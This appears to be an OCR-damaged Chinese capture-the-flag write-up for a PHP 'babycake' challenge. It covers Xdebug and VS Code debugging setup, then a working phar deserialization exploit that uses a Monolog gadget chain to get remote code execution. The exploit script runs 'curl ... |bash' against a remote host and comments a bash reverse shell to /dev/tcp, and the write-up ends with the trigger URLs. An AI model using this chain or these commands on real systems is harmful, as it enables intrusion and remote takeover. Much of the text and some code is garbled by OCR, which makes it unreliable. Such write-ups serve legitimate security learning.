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Feli— T docker:
docker pull gaoxijiejie/babycake:version
THFZREITRSA:
docker run -id --name cake-xdebug -p 8080:80 -p 9009:9009 cake-xdebug /bin/bash
( xdebug {# FH i3 1 2£9009)
XN docker BT XDebug, HEM— TFREITE.
(RATEEHLI docker EHIH) babycake HIRS, RREMHEILK vscode )

%% Xdebug : apt-get install php-xdebug , ZHEFZ G2 EIN xdebug.so HIEEE
¥ FF /etc/php/7.0/apache2/php.ini , FEREHMULTHE:

zend_extension = /*xdebug.soffIE&E*/

[XDebug]

xdebug.remote_enable = on
xdebug.remote_autostart = 1

xdebug.remote_host = 192.168.101.1 //##ENMip
xdebug.remote_port = 9009 //
xdebug.auto_trace = 1

xdebug.idekey = XDEBUG_VSCODE //iX/AMF&REH 3
xdebug.remote_handler = dbgp //IFE¥EHZ
xdebug.remote_log = /tmp/xdebug.log //HEXH

g apache2 : service apache2 restart

BT RBMABRE vscode , B launch.json AR E 4
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// 1M IntelliSense TfEMXEH.
/! BEFEUEERHBERRER.
/] RTRELER, #E: https://go.microsoft.com/fwlink/?1inkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"stopOnEntry":true,
"pathMappings": {"/var/www/html/": "${workspaceRoot}"},
"port": 9009 //Sphp.inixt/

"name": "Launch currently open script”,

“type": "php",

"request": "launch",

"program": "${file}",

"cwd": "${fileDirname}",

"pathMappings": {"/var/www/html/": "${workspaceRoot}"},
"port": 9009

D Listen for XDebug agesC e p index.php % {} launc

: uninitialized
uninitialized
$url: uninitialized
b Superglobals

b User defined constants
require dirname( ! . '/config/requirements.php';
if (php_sapi_name() A

$_SERVER['PHP_SELF'] = . basename(

$url = parse_url(urldecode($_SERVER['REQUEST_URI']));

$file = I . $urll'path']
if (strpos($urll W'y "an) && strpos($url['path']l, '.') l== fz is_file($file))

< EREE R | return false;
}

{main} index.php

4 B $server = new S ] Application(dirname(

@ Notices
@ Warnings $server—>emit($server->run());
@ Errors
@ Exceptions
@ Everything
¥ FormData.php ven
¢ ¥ PagesController.php
¥ PagesController.php s
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gen.php
<?php

namespace Monolog\Handler

{
class SyslogUdpHandler
{
protected $socket;
function _ construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > © && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "curl http://192.168.101.128/ |bash";
//http://192.168.101.128[ A& Rbash -1 >& /dev/tcp/192.168.101.1/1234 0>&1
//128RERHLip, 1RWENip
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php _ HALT _COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}

EREA A RS IA, 2B RS phar:// DVIBBUBHTRS, FERFIILERLE, K Monolog ) RCE .
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http://192.168.101.128:8080/?url=http://x.x.x.x/exploit.phar
http://192.168.101.128:8080/?url=http://x.x.x.x/index.html&data[x]=@phar:///var/www/html/tmp/cache/mycache/192.1
68.101.1/90c2a3a6fc4d596265b8707463dcbfc9/body.cache

BU 23 shell FIf, body.cache HIESZIRIEVRAD A LLE S5 R,
H AR addFile BR%K:

FormData.php
public function addFile($name, $value)

{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadatal['uri']);
$filename = basename($metadatal'uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
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